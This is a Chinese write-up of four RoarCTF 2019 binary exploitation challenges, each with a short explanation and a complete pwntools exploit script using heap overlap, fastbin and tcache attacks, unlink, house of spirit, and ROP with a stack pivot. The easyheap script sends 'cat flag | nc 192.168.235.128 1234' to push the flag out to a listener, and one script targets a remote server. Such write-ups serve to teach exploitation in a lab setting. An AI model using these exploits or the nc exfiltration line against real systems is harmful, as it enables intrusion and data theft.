writeup-roarctf-2019

pwn

easy_pwn

存在后门off_by_one,堆重叠后伪造堆块进行fastbin attack,劫持_malloc_hook后触发one_gadget获得shell.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *

context.log_level = 'debug'

def add(size):
r.sendline('1')
r.sendlineafter('size: ', str(size))
r.recvuntil('choice: ', timeout = 1)

def edit(index, size, content):
r.sendline('2')
r.sendlineafter('index: ', str(index))
r.sendlineafter('size: ', str(size))
r.sendafter('content: ', content)
r.recvuntil('choice: ', timeout = 1)

def drop(index):
r.sendline('3')
r.sendlineafter('index: ', str(index))
r.recvuntil('choice: ', timeout = 1)

def show(index):
r.sendline('4')
r.sendlineafter('index: ', str(index))
r.recvuntil('content: ')
data = r.recvuntil('Note system')[:-11]
r.recvuntil('choice: ', timeout = 1)
return data

#r = process('./easy_pwn')
r = remote("39.97.182.233", "47400")
r.recvuntil('choice: ', timeout = 1)

add(0x78)#0
add(0xe0)#1
add(0x80)#2
add(0x20)#3
edit(1, 0xd8, "a" * 0xd0 + p64(0xe0))
drop(1)
edit(0, 0x82, "a" * 0x78 + "\xe1")
add(0x80)#1
add(0x40)#4
drop(1)
drop(2)
add(0x80)#1
libc = u64(show(4)[:6].ljust(8, "\x00")) - 0x3c4b78
drop(1)
add(0x100)#1
edit(1, 0x100, "a" * 0x80 + p64(0) + p64(0x71) + "a" * 0x60 + p64(0) + p64(0x21))
drop(4)
edit(1, 0x98, "a" * 0x80 + p64(0) + p64(0x71) + p64(libc + 0x3c4b10 - 0x23))
add(0x68)#2
add(0x68)#4
payload = "0" * 0x13 + p64(libc + 0xf02a4)
edit(4, len(payload), payload)

edit(1, 0x90, "a" * 0x80 + p64(0) + p64(0))
drop(2)

#gdb.attach(r)
print "libc: " + hex(libc)

r.interactive()

easyheap

由于限制了chunk_size,可以使用scanf触发malloc_conslidate合并(过长的输入会让scanf申请堆)构造unsorted bin.

存在uaf,可以利用后门进行unlink,结合house_of_spiritrandom从而泄露libc.

最后fastbin attack__malloc_hook获取shell.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from pwn import *

context.log_level = "debug"
ptr = 0x602098

def add(size, content):
r.sendline("1")
r.sendlineafter("the size\n", str(size))
r.sendafter("your content\n", content)
r.recvuntil(">> ")

def add2(size, content):
sleep(0.1)
r.sendline("1")
sleep(0.1)
r.sendline(str(size))
sleep(0.1)
r.send(content)
sleep(0.1)

def dele():
r.sendline("2")
r.recvuntil(">> ")

def dele2():
sleep(0.1)
r.sendline("2")
sleep(0.1)

def show():
r.sendline("3")
data = r.recvuntil("every")[:-6]
return data

def back(choice, content = ""):
r.sendline("666")
r.sendlineafter("or free?\n", str(choice))
if choice == 1:
r.sendafter("your content\n", content)
r.recvuntil(">> ")

r = process("./pwn")

r.sendafter("username:", p64(0) * 3 + p64(0x41))
r.sendafter("info:", p64(0) + p64(0x51) + p64(0) + p64(0x51))
r.recvuntil(">> ")

add(0x20, "a" * 0x20)
dele()
add(0x50, "a" * 0x50)
dele()
add(0x30, "a" * 0x30)
dele()
add(0x60, "a" * 0x50 + p64(0) + p64(0x31))
dele()
add(0x10, "a" * 0x10)
add(0x30, "a" * 0x30)
dele()

r.sendline("1" * 0x400)

payload = p64(0) + p64(0x81) + p64(ptr - 0x18) + p64(ptr - 0x10)
payload = payload.ljust(0x80, "\x00")
payload += p64(0x80) + p64(0xa0)
back(1, payload)
dele()
#unlink

back(2)
#house_of_spirit

add(0x38, p64(0) * 2 + p64(0xDEADBEEFDEADBEEF))
add(0x80, "a")
libc = u64(show().ljust(8, "\x00")) + 0x7f4da9961000 - 0x7f4da9d25b61

dele2()
add2(0x10, "a")
add2(0x68, "a")
dele2()
add2(0x80, "a")
add2(0x40, "a" * 0x20 + p64(0) + p64(0x71) + p64(libc + 0x3c4b10 - 0x23))
add2(0x68, "a")
add2(0x68, "\x00" * 0x13 + p64(libc + 0xf02a4))

dele2()

#gdb.attach(r)
print "libc: " + hex(libc)

r.sendline("cat flag | nc 192.168.235.128 1234")

r.interactive()

由于关闭了标准输出和标准错误输出,使用反弹shell传输flag.服务器端监听端口:nc -l 1234.

easyrop

明显的栈溢出,注意溢出时会覆盖偏移变量.题目限制了execve,使用栈迁移加orw获取flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *

context.log_level = 'debug'

pop_rdi_ret = 0x401b93
pop_rsi_r15_ret = 0x401b91
pop_rsp_r13_r14_r15_ret = 0x401b8d

def csu_pop(r12, r13 = 0, r14 = 0, r15 = 0):
payload1 = p64(0x401B8A)
#pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; retn;
payload1 += p64(0) + p64(1)
payload1 += p64(r12) + p64(r13) + p64(r14) + p64(r15)
return payload1

#r12(r13, r14, r15)
def csu_mov_call_pop(r12 = 0, r13 = 0, r14 = 0, r15 = 0):
#mov rdx, r13;mov rsi, r14;mov edi, r15d;call qword ptr [r12 + rbx * 8];...;
payload2 = p64(0x401B70)
payload2 += p64(0xdeadbeef) + p64(0) + p64(1)
payload2 += p64(r12) + p64(r13) + p64(r14) + p64(r15)
return payload2

r = process("./pwn")
elf = ELF("./pwn")
gdb.attach(r, "b * 0x401B2B\nc")

r.sendafter(">> ", "a" * 0x418 + "\x28")
payload = csu_pop(elf.got['puts'], 0x603060)
payload += csu_mov_call_pop()
payload += p64(0x4019F3)
r.sendline(payload)

r.recvline()
libc = u64(r.recvline()[1:-1].ljust(8, "\x00")) + 0x7fbdeb9b1000 - 0x7fbdebd76620

r.sendafter(">> ", "a" * 0x418 + "\x28")
payload = p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_r15_ret) + p64(0x6030c0) + p64(0) + p64(libc + 0xf7250)
payload += p64(pop_rsp_r13_r14_r15_ret) + p64(0x6030c0)
r.sendline(payload)

payload = p64(0) * 3
payload += p64(pop_rdi_ret) + p64(0x6032c8) + p64(pop_rsi_r15_ret) + p64(2) + p64(0) + p64(libc + 0xf7030)
payload += csu_pop(0x6032c0, 3, 0x6032c8, 0x20)
payload += csu_mov_call_pop(elf.got['puts'], 0x6032c8)
payload += csu_mov_call_pop()
payload = payload.ljust(0x200, "\x00")
payload += p64(libc + 0xf7250) + "flag\x00"
r.send(payload)

print "libc: " + hex(libc)

r.interactive()

realloc_magic

环境为libc2.27,明显的double free.

两个关键点:reallocptr != 0 && size == 0时等同于free,返回值为0;reallocptr == 0时等同于malloc.

剩下的解题思路和de1ctf2019weapon差不多,通过堆重叠劫持fd.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from pwn import *

def re(size, content):
r.sendline("1")
r.sendlineafter("Size?\n", str(size))
r.sendafter("Content?\n", content)
r.recvuntil(">> ")

def re_fr():
r.sendline("1")
r.sendlineafter("Size?\n", str(0))
r.recvuntil(">> ")

def fr():
r.sendline("2")
r.recvuntil(">> ")

def ba():
r.sendline("666")
r.recvuntil(">> ")

while(1):
r = process("./pwn")

r.recvuntil(">> ")

re(0x68, "a")
re_fr()
re(0x88, "a")
re_fr()
re(0xa8, "a")
re_fr()
re(0x88, "a")
for i in range(7):
fr()
re_fr()
re(0x68, "a")
re(0xf8, "\x00" * 0x68 + p64(0x21) + "\x60\x77")
re_fr()
re(0x88, "a")
re_fr()

try:
r.sendline("1")
r.sendlineafter("Size?\n", str(0x88))
r.sendafter("Content?\n", p64(0xfbad3887) + p64(0) * 3 + "\xc8")


data = r.recvuntil(p64(0xffffffffffffffff), timeout = 1)
if p64(0xffffffffffffffff) not in data:
r.close()
continue

r.recvuntil(">> ")
libc = u64(data[:6].ljust(8, "\x00")) - 0x7f9d716c6a00 + 0x7f9d712db000
free_hook = libc + 0x3ed8e8
system = libc + 0x4f440

ba()

re(0xf8, "\x00" * 0x68 + p64(0xa1) + p64(free_hook - 8))
re_fr()
re(0x18, "a")
re_fr()
re(0x18, "/bin/sh\x00" + p64(system))

except EOFError as e:
r.close()
continue

gdb.attach(r)
print "libc: " + hex(libc)
break

fr()
r.interactive()
0%
;